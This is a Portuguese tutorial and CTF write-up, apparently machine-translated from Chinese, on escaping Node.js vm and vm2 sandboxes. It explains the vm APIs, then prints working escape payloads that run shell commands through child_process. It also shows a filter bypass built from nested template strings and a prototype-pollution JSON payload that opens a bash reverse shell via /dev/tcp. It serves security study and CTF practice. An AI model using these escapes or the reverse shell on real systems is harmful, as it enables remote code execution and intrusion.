Diretório de artigos
Escape da caixa de areia NodeJS vm e vm2
O que é uma caixa de areia?
Antes de falar sobre escape de sandbox, precisamos entender o que é sandbox.
O sandbox é um 集装箱
, coloque seu aplicativo no sandbox para rodar, de forma que haja um limite entre o aplicativo e o aplicativo, e eles não afetarão um ao outro.
Quando executamos alguns programas que podem causar danos, não podemos executá-los diretamente no host. Podemos criar um ambiente separado para a execução de código. Este ambiente é uma sandbox, que é isolada do host, mas usa os recursos do host. No entanto, a execução de código prejudicial na sandbox terá apenas algum impacto no interior da sandbox , não a funcionalidade do Host.
Docker é uma espécie de sandbox SandBox. Ao criar um ambiente operacional limitado para colocar o programa dentro, o programa fica preso pela fronteira, de modo que o programa e o programa, e o programa e o host ficam isolados um do outro.
Escopo do NodeJS
Quando escrevemos projetos Node, muitas vezes precisamos exigir outros arquivos js. Chamamos esses arquivos de pacotes. Os escopos entre os pacotes são isolados uns dos outros, ou seja, mesmo que tenhamos require
y1.js em y2.js, não podemos usar as variáveis e funções em y1.js em y2.js. (No Node, o escopo é geralmente chamado de contexto)
Se quiser usá-lo, você deve usar exports
a interface para gerar elementos de arquivo neste nodeJS.
exports é a interface para exportar elementos de arquivo
por exemplo:
// y2.js
const file = require('./y1.js')
console.log(file.name)
// y1.js
let name = 'y1.js'
// 输出:undefined
// y2.js
const file = require('./y1.js')
console.log(file.name)
// y1.js
let name = 'y1.js'
exports.name = name
// 输出:y1.js
Pode-se observar que após usarmos require para nos referirmos a outros arquivos, queremos utilizar as variáveis neles. Uma das formas é utilizar o exports
elemento para exportar
Neste ponto, a relação entre os dois pacotes é como acima
objeto global global
Além do método acima, também podemos usar o escopo global, que é o objeto global global. Todos os outros atributos e pacotes no NodeJS são montados sob este objeto global, e algumas variáveis globais são montadas sob o global, que global.xxx
pode ser usado diretamente se o acessarmos de forma desnecessária. Por exemplo: console
é uma variável global sob este global, podemos usá-la diretamente, process
e também é uma variável global sob global (para ser usada ao escapar mais tarde)
Além das variáveis globais integradas, também podemos usar global
palavras-chave para declarar nós mesmos uma variável global
// 1.js
const file = require('./2.js')
console.log(name)
// 2.js
global.name = 'leekos'
// 输出:leekos
Pode-se ver que quando produzimos name
, não precisamos usar a forma file.name, podemos usá- name
lo diretamente para saída e name
não precisamos usá exports
-lo para exportação, porque o nome foi montado em o global neste momento, e seu escopo não está no bingo 2.js
módulo sandbox vm
Mencionamos o conceito de escopo (contexto) anteriormente. Se quisermos obter o efeito de isolamento do sandbox, podemos criar um novo escopo e deixar o código rodar nesse novo escopo, de modo que seja diferente de outras funções? O domínio é isolado, que é o princípio do módulo VM. Abaixo apresentamos as APIs de vários módulos VM:
vm.runInThisContext(código)
vm.runinThisContext(code)
: Crie um escopo (sandbox) no global atual e execute os parâmetros recebidos como código.
sandbox
As propriedades globais podem ser acessadas no sandbox, mas as propriedades de outros pacotes não podem ser acessadas. (não é possível acessar propriedades locais)
A relação entre eles é assim:
Sandbox pode acessar global
propriedades em , mas não pode acessar propriedades em xxx.js
// xxx.js
const vm = require('vm')
var local_var = 'leekos'
global.global_var = 'xxx global~'
var vm_var = vm.runInThisContext('global_var="vm_var";local_var="Tranquility";')
console.log("vm_var: "+vm_var)
console.log("local_var: "+local_var)
console.log(global_var)
/*
输出:
vm_var: Tranquility
local_var: leekos
vm_var
*/
Pode-se observar que vm.runInThisContext()
um novo escopo é criado fora do escopo do arquivo atual, e o escopo está no escopo global
Neste momento vm.runInThisContext()
e xxx.js
em um escopo diferente, o valor da variável local_var não pode ser alterado, mas por estar vm.runInThisContext()
no escopo global, o valor de global_var pode ser alterado
vm.createContext([sandbox])
Antes de usá-lo, você precisa criar um objeto sandbox e, em seguida, passar o objeto sandbox para este método (caso contrário, um objeto sandbox vazio será gerado). A v8 cria outro escopo para este objeto sandbox fora do global atual, então neste Neste momento, o objeto sandbox é o objeto global deste escopo, e as propriedades no global não podem ser acessadas dentro do sandbox
vm.runInContext(código,contextificadoSandbox[,opções])
Os parâmetros são o código a ser executado e o contexto (objeto sandbox) onde o escopo é criado. O código será executado no contexto do objeto de entrada e sandbox , e o valor do parâmetro é igual ao valor do parâmetro em a caixa de areia
const vm = require('vm')
global.global_var = 1
const sandbox = {
global_var: 2} //创建一个沙箱对象
vm.createContext(sandbox) //创建一个上下文对象
vm.runInContext('global_var*=2',sandbox)
console.log(sandbox) // { global_var: 4 }
console.log(global_var) // 1
Este método de criação é vm.runInThisContext()
diferente daquele porque global
o valor da variável global no sandbox não pode ser alterado e as propriedades no global não podem ser acessadas dentro do sandbox.
(Porque outro escopo é criado fora do global atual)
vm.runInNewContext(code[,sandbox][,options])
Esta função é uma versão combinada de createContext()
and runInContext()
, passando o código a ser executado e o objeto sandbox
classe vm.Script
vm.Script类
Instâncias do tipo vm.Script contêm vários scripts pré-compilados que podem ser executados em uma sandbox (ou contexto) específico.
novo vm.Script (código, opções)
new vm.Script(code, options)
: criar um novo objeto vm.Script apenas compila o código, mas não o executa. O vm.Script compilado pode então ser executado várias vezes. É importante notar que o código não está vinculado a nenhum objeto global; em vez disso, ele está vinculado apenas ao objeto que o executa a cada vez . código: código JavaScript a ser analisado
const vm = require('vm')
const sandbox = {
animal: 'cat',count: 1}
const script = new vm.Script('count += 1; name = "Tom";') // 编译code
const context = vm.createContext(sandbox) // 创建一个上下文对象
script.runInContext(context) // 在指定的上下文中执行code并返回结果
console.log(sandbox) // { animal: 'cat', count: 2, name: 'Tom' }
O objeto de script pode ser executado por meio de runInXXXContext
A razão pela qual vm pode escapar é porque o acesso context
a atributos externos constructor
e __proto__
outros atributos não é interceptado
Como executar o escape do sandbox vm?
Geralmente executamos o escape do sandbox e terminamos com o RCE, então o RCE no NodeJS requer o uso de process
variáveis globais.Depois de obter o objeto do processo, podemos usá -lo require
para importar child_process
e usá-lo para executar comandos
Por exemplo:
console.log(process.mainModule.require('child_process').execSync('whoami').toString())
// leekos\like
Mas process
está montado global
, como dissemos acima, createContext()
não pode ser acessado posteriormente global
, então nosso objetivo final é introduzir o processo global na sandbox por meio de vários métodos
A ideia principal do escape é como obter o processo da variável global global externa. O módulo VM é muito impreciso. Com base nas características da herança da cadeia de protótipos do nó, podemos facilmente obter variáveis globais externas. Veja um código de escape simples:
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);
Então, como conseguimos escapar? Em primeiro lugar, this
ele aponta para runInNewContext()
o objeto para o qual é passado atualmente. Este objeto não pertence ao ambiente sandbox . Obtemos seu construtor por meio deste objeto e, em seguida, obtemos um construtor do objeto construtor (neste momento Function
) constructor
e o o último ()
é chamar a função gerada Function
por este usuário e, finalmente, retornar um objetoconstructor
global
Em NodeJs, backticks representam strings de modelo, então aqui:
`this.constructor.constructor('return global')()`
Equivale a passar essa string para
runInNewContext
, neste momento a string não é executada, mas sim passada como parâmetro pararunInNewContext
execução
this.toString.constructor('return global')()
Esta forma de escrever também pode retornar global
objetos
Portanto, podemos escapar do sandbox vm assim:
const vm = require("vm");
const ps = vm.runInNewContext(`this.constructor.constructor('return process')()`);
console.log(ps.mainModule.require('child_process').execSync('whoami').toString());
// leekos\like
No Node.js,
process.mainModule.require
é uma forma de obter o módulo principal, maschild_process.execSync
uma função para executar comandos de forma síncrona, aqui para executarwhoami
o comando
escape da caixa de areia vm2
O efeito de isolamento do módulo VM pode ser considerado muito fraco. Portanto, os desenvolvedores melhoraram nesta base e lançaram o módulo vm2. O módulo vm2 também pode escapar.
Comparado com vm, vm2 tem muitas restrições. Um deles é a introdução do novo recurso de proxy do es6. Adicione algumas regras para restringir constructor
a função e __proto__
o acesso a esses atributos. O proxy pode ser considerado uma interceptação de proxy, escrevendo um mecanismo para filtrar ou reescrever o acesso externo.
const {
VM, VMScript} = require('vm2');
const script = new VMScript("let a = 2;a;");
console.log((new VM()).run(script));
VM
É uma máquina virtual encapsulada por vm2 com base em vm, só precisamos chamar o método run nela após a instanciação para executar um script.
Então, o que o vm2 faz quando executa essas duas linhas de código:
A versão do vm2 foi atualizada e iterada. Muitas versões históricas de explorações de escape no github,
Anexe o link: Issues patriksimek/vm2 GitHub ,
exp1:
"use strict";
const {
VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{
}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
exp2:
"use strict";
const {
VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({
}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{
}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
Quanto à análise do princípio de escape de , leia diretamente o artigo de Daniel.vm2
A seguir, podemos fazer um tópico para sentir
[HFCTF2020]JustEscape
Avisando que /run.php
podemos executar o código, visitamos:
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>
Depois de tentar, descobri que essa sequência de códigos é inútil, serve para confundir as pessoas
Pensaremos neste momento, não apenas a função eval() em php, mas também a função eval() em nodejs
Podemos usar Error().stack
para obter a mensagem de erro no nodejs
Na verdade, vm2 é usado, então em seguida precisamos escapar da sandbox vm2, usamos o exp pronto:
(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{
}).mainModule.require("child_process").execSync("cat /flag").toString();
}
})()
Mas muitas palavras-chave são filtradas, precisamos saber um ponto de conhecimento:
Cadeia de modelos NodeJS
Por exemplo:
console.log(`prototype`) //prototype
console.log(`${
`prototyp`}e`) //prototype
console.log(`${
`${
`prototyp`}e`}`) //prototype
A filtragem de strings é ignorada desta forma aninhada:
(function (){
TypeError[`${
`${
`prototyp`}e`}`][`${
`${
`get_proces`}s`}`] = f=>f[`${
`${
`constructo`}r`}`](`${
`${
`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${
`${
`get_proces`}s`}`](()=>{
}).mainModule[`${
`${
`requir`}e`}`](`${
`${
`child_proces`}s`}`)[`${
`${
`exe`}cSync`}`](`cat /flag`).toString();
}
})()
Quando as palavras-chave do método ou do nome da propriedade do objeto são filtradas, você pode usar a chamada de array para ignorar as restrições de palavras-chave
Existe outra maneira de contornar o uso de arrays:
[HZNUCTF 2023 final] nó ez
Visite: /app.js
obtenha o código-fonte:
const express = require('express');
const app = express();
const {
VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
try {
new VM().run({
}.shellcode); //我们需要通过原型链污染shellcode
} catch (e) {
console.log(e);
}
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
//
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({
}, a);
}
app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});
app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})
app.listen(3000, function () {
console.log('start listening on port 3000');
});
A chamada de função aqui merge()
pode causar uma vulnerabilidade de poluição da cadeia de protótipo, e shellcode
o valor da poluição vm
é o código que escapa da sandbox
A poluição da cadeia do protótipo Vm2 leva ao escape da sandbox poc:
let res = import('./app.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
{
"shit":"shit",
"__proto__":{
"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"
}
}
referência
https://xz.aliyun.com/t/11859#toc-0
https://xilitter.github.io/2023/01/31/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E6% 8E%A2/index.html